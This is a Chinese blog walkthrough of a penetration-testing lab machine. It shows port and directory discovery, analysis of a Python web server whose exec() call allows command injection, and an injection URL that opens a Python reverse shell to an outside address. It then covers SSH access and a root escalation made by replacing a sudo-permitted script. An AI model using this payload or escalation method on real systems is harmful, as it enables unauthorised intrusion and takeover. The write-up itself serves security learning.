• 【内网渗透】记一次靶机实战


    一、信息收集

    1.端口扫描

    使用nmap进行端口扫描,发现其开放了22、80、8080、9000端口。
    图片.png

    访问其8080端口,发现是一个web界面。
    图片.png

    浏览页面内容,提升有一些提示。
    图片.png

    【一一帮助安全学习,所有资源获取处一一】
    ①网络安全学习路线
    ②20份渗透测试电子书
    ③安全攻防357页笔记
    ④50份安全攻防面试指南
    ⑤安全红队渗透工具包
    ⑥网络安全必备书籍
    ⑦100个漏洞实战案例
    ⑧安全大厂内部视频资源
    ⑨历年CTF夺旗赛题解析

    提示存在一个py脚本,访问看看。
    图片.png

    发现提示是404

    图片.png

    2.目录爆破

    使用gobuster进行目录爆破。

    gobuster dir-u http://10.10.10.168:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt ,发现都是404.
    
    • 1

    图片.png

    3.使用wfuzz进行fuzz

    由于我们不知道文件存放在那个具体路径下,所以将使用wfuzzurl 来定位http://10.10.10.168:8080/FUZZ/SuperSecureServer.py其路径。

    wfuzz -c-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py --hl 6 --hw 367
    
    • 1

    图片.png

    发现它在/developer目录之下。

    图片.png

    访问看看。成功看到脚本内容。
    图片.png

    图片.png

    4.代码分析

    将源码copy出来,然后进行分析。

    import socket
    import threading
    from datetime import datetime
    import sys
    import os
    import mimetypes
    import urllib.parse
    import subprocess
    
    respTemplate = """HTTP/1.1 {statusNum} {statusCode}
    Date: {dateSent}
    Server: {server}
    Last-Modified: {modified}
    Content-Length: {length}
    Content-Type: {contentType}
    Connection: {connectionType}
    
    {body}
    """
    DOC_ROOT = "DocRoot"
    
    CODES = {"200": "OK", 
            "304": "NOT MODIFIED",
            "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
            "500": "INTERNAL SERVER ERROR"}
    
    MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
            "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
            "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
    
    class Response:
        def __init__(self, **kwargs):
            self.__dict__.update(kwargs)
            now = datetime.now()
            self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
        def stringResponse(self):
            return respTemplate.format(**self.__dict__)
    
    class Request:
        def __init__(self, request):
            self.good = True
            try:
                request = self.parseRequest(request)
                self.method = request["method"]
                self.doc = request["doc"]
                self.vers = request["vers"]
                self.header = request["header"]
                self.body = request["body"]
            except:
                self.good = False
    
        def parseRequest(self, request):        
            req = request.strip("\r").split("\n")
            method,doc,vers = req[0].split(" ")
            header = req[1:-3]
            body = req[-1]
            headerDict = {}
            for param in header:
                pos = param.find(": ")
                key, val = param[:pos], param[pos+2:]
                headerDict.update({key: val})
            return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
    
    class Server:
        def __init__(self, host, port):    
            self.host = host
            self.port = port
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.bind((self.host, self.port))
    
        def listen(self):
            self.sock.listen(5)
            while True:
                client, address = self.sock.accept()
                client.settimeout(60)
                threading.Thread(target = self.listenToClient,args = (client,address)).start()
    
        def listenToClient(self, client, address):
            size = 1024
            while True:
                try:
                    data = client.recv(size)
                    if data:
                        # Set the response to echo back the received data 
                        req = Request(data.decode())
                        self.handleRequest(req, client, address)
                        client.shutdown()
                        client.close()
                    else:
                        raise error('Client disconnected')
                except:
                    client.close()
                    return False
    
        def handleRequest(self, request, conn, address):
            if request.good:
    #            try:
                    # print(str(request.method) + " " + str(request.doc), end=' ')
                    # print("from {0}".format(address[0]))
    #            except Exception as e:
    #                print(e)
                document = self.serveDoc(request.doc, DOC_ROOT)
                statusNum=document["status"]
            else:
                document = self.serveDoc("/errors/400.html", DOC_ROOT)
                statusNum="400"
            body = document["body"]
    
            statusCode=CODES[statusNum]
            dateSent = ""
            server = "BadHTTPServer"
            modified = ""
            length = len(body)
            contentType = document["mime"] # Try and identify MIME type from string
            connectionType = "Closed"
    
            resp = Response(
            statusNum=statusNum, statusCode=statusCode, 
            dateSent = dateSent, server = server, 
            modified = modified, length = length, 
            contentType = contentType, connectionType = connectionType, 
            body = body
            )
    
            data = resp.stringResponse()
            if not data:
                return -1
            conn.send(data.encode())
            return 0
    
        def serveDoc(self, path, docRoot):
            path = urllib.parse.unquote(path)
            try:
                info = "output = 'Document: {}'" # Keep the output for later debug
                exec(info.format(path)) # This is how you do string formatting, right?
                cwd = os.path.dirname(os.path.realpath(__file__))
                docRoot = os.path.join(cwd, docRoot)
                if path == "/":
                    path = "/index.html"
                requested = os.path.join(docRoot, path[1:])
                if os.path.isfile(requested):
                    mime = mimetypes.guess_type(requested)
                    mime = (mime if mime[0] != None else "text/html")
                    mime = MIMES[requested.split(".")[-1]]
                    try:
                        with open(requested, "r") as f:
                            data = f.read()
                    except:
                        with open(requested, "rb") as f:
                            data = f.read()
                    status = "200"
                else:
                    errorPage = os.path.join(docRoot, "errors", "404.html")
                    mime = "text/html"
                    with open(errorPage, "r") as f:
                        data = f.read().format(path)
                    status = "404"
            except Exception as e:
                print(e)
                errorPage = os.path.join(docRoot, "errors", "500.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read()
                status = "500"
            return {"body": data, "mime": mime, "status": status}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166

    在翻译源码过程中,第一眼就看到了注释的地方。就想到了exec函数。
    图片.png

    根据 This is how you do string formatting, right?,的意思:不,这不是您进行字符串格式化的方式。path将用户输入 ( )传递给exec总是很危险的。我开始翻阅代码,看看是否可以控制path它何时进入serveDoc.

    def handleRequest(self, request, conn, address):
        if request.good:
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    还有这句注释:Set the response to echo back the received data,然后开始读源码。如果这request.good为真,我会失去控制,path被硬编码为"/errors/400.html".

    handleRequest从以下位置调用listenToClient:

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the received data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    这是一个循环,它接收数据,处理成一个Request对象,然后调用handleRequest ,条件就是该Request对象.good是真,并且.doc是我的测试代码。

    该类Request将数据转换为对象__init__:

    class Request:
        def __init__(self, request):
            self.good = True
            try:
                request = self.parseRequest(request)
                self.method = request["method"]
                self.doc = request["doc"]
                self.vers = request["vers"]
                self.header = request["header"]
                self.body = request["body"]
            except:
                self.good = False
    
        def parseRequest(self, request):
            req = request.strip("\r").split("\n")
            method,doc,vers = req[0].split(" ")
            header = req[1:-3]
            body = req[-1]
            headerDict = {}
            for param in header:
                pos = param.find(": ")
                key, val = param[:pos], param[pos+2:]
                headerDict.update({key: val})
            return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    只要数据具有带有 url、版本、标题和正文等正常格式,它就会返回self.good = True. 而且,这doc就是 url 字符串中的内容,是可控的。

    二、漏洞利用

    当exec在该字符串上调用时,它会保存output,但也会进行os.system调用。如果我想使用subprocess而不是运行进程os,我需要这样做。/';os.system('ping%20-c%201%2010.10.10.168');'

    1.编写poc

    http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.17.140",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    • 1

    nc开始监听1234端口
    图片.png

    2.反弹shell

    图片.png

    进入home目录下,发现存在一个SuperSecureCrypt.py脚本,使用-h命令会提示其用法。
    图片.png

    还有一些pass.txt,check.txt等。
    图片.png

    使用python获得交互式shell,python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
    图片.png

    图片.png

    3.获取登录密码

    在BetterSSH目录下,存在解密脚本check.txt、out.txt及passwordreminder.txt。

    使用脚本来获取登录密码

    python3 SuperSecureCrypt.py -i passwordreminder.txt -d-k alexandrovich -o /dev/shm/.df
    
    • 1

    图片.png

    成功获取到登录密码。

    4.SSH登录

    使用ssh进行远程登录。
    图片.png

    成功找到了第一个user.txt文件。
    图片.png

    三、权限提升

    sudo -l 发现了存在BetterSSH.py可执行root.
    图片.png

    1.脚本分析

    import sys
    import random, string
    import os
    import time
    import crypt
    import traceback
    import subprocess
    
    path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    session = {"user": "", "authenticated": 0}
    try:
        session['user'] = input("Enter username: ")
        passW = input("Enter password: ")
    
        with open('/etc/shadow', 'r') as f:
            data = f.readlines()
        data = [(p.split(":") if "$" in p else None) for p in data]
        passwords = []
        for x in data:
            if not x == None:
                passwords.append(x)
    
        passwordFile = '\n'.join(['\n'.join(p) for p in passwords]) 
        with open('/tmp/SSH/'+path, 'w') as f:
            f.write(passwordFile)
        time.sleep(.1)
        salt = ""
        realPass = ""
        for p in passwords:
            if p[0] == session['user']:
                salt, realPass = p[1].split('/pre>)[2:]
                break
    
        if salt == "":
            print("Invalid user")
            os.remove('/tmp/SSH/'+path)
            sys.exit(0)
        salt = '$6/pre>+salt+'/pre>
        realPass = salt + realPass
    
        hash = crypt.crypt(passW, salt)
    
        if hash == realPass:
            print("Authed!")
            session['authenticated'] = 1
        else:
            print("Incorrect pass")
            os.remove('/tmp/SSH/'+path)
            sys.exit(0)
        os.remove(os.path.join('/tmp/SSH/',path))
    except Exception as e:
        traceback.print_exc()
        sys.exit(0)
    
    if session['authenticated'] == 1:
        while True:
            command = input(session['user'] + "@Obscure$ ")
            cmd = ['sudo', '-u',  session['user']]
            cmd.extend(command.split(" "))
            proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            o,e = proc.communicate()
            print('Output: ' + o.decode('ascii'))
            print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63

    这个脚本:

    • 创建一个随机路径名。
    • 从用户那里读取用户名和密码。
    • 读取/etc/shadow、提取包含 的行$并将其写入/tmp/SSH/[random path].
    • 睡眠 0.1 秒。
    • 循环修剪文件中的每一行shadow,并根据输入密码的哈希检查每个哈希。成功时,它设置session[‘authenticated’] = 1. 失败时,它会删除临时shadow文件并退出。
    • 删除临时shadow文件。
    • 进入读取命令、执行命令并显示结果的无限循环。

    2.创建一个/tmp/SSH目录,必须是大写,小写的会报错。

    输入之前获取到的用户和密码。使用sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py执行脚本。

    图片.png

    出现Authed,然后退出。
    图片.png

    2.移动BetterSSH 目录进行权限提升

    使用ls -ld robert进行查看其权限,同理也查看一下BetterSSH的。
    图片.png

    我的思路就是打算删除这个目录,然后重新创建一个,写入提权的脚本。

    使用rm -rf 强制删除,提升权限不够。这里有一个小trips,我们不能删除,我们可以将它进行移动。然后在创建一个新的。使用mv BetterSSH{,-old}来完成操作。
    图片.png

    然后mkdir创建新的目录。使用echo写入提权语法。最后使用sudo执行脚本。

    echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")'
    echo -e '#!/usr/bin/env python3\n\nimport pty\n\npty.spawn("bash")' > BetterSSH/BetterSSH.py 
    sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
    
    • 1
    • 2
    • 3

    图片.png

    3.获得root权限

    成功获得root权限,并最后找到了root.txt,成功完成靶机。
    图片.png

    总结:

    靶机难度属于中等靶机水平,全文思路就是信息收集,使用nmap或者masscan进行端口扫描,访问web页面,发现提示,接着使用wfuzz进行指定路径fuzz。然后找到py脚本,接着进行脚本分析,发现脚本存在的漏洞。构造poc然后进行反弹shell,反弹shell之后,发现存在另一个新的脚本,存在密码加密方式和密码本。进行解密,解密之后使用ssh进行远程登录。使用sudo -l发现xx路径下的python脚本拥有root权限,接着进行移动该目录写入提权语法成功提权。

  • 相关阅读:
    群晖下 gitea+drone+harbor实现CI/CD 发布到云服务器
    【JDK 8-集合框架进阶】6.1 parallelStream 并行流
    【数据加密、解密】前后端数据传输的过程中,如何进行数据加密传输,保证数据的传输安全,防止被他人窃取
    渗透测试怎么入门?(超详细解读)
    全新锂电池充电板,让充电更加安全
    对象的关联
    【python基础学习必备小手册(适合新手)详细教程】
    测试管理之一定条件下的测试管理
    leetcode - 1759. Count Number of Homogenous Substrings
    C++类和对象-多态->案例1计算器类、案例2制作饮品、案例3电脑组装需求分析和电脑组装具体实现
  • 原文地址:https://blog.csdn.net/kali_Ma/article/details/128028431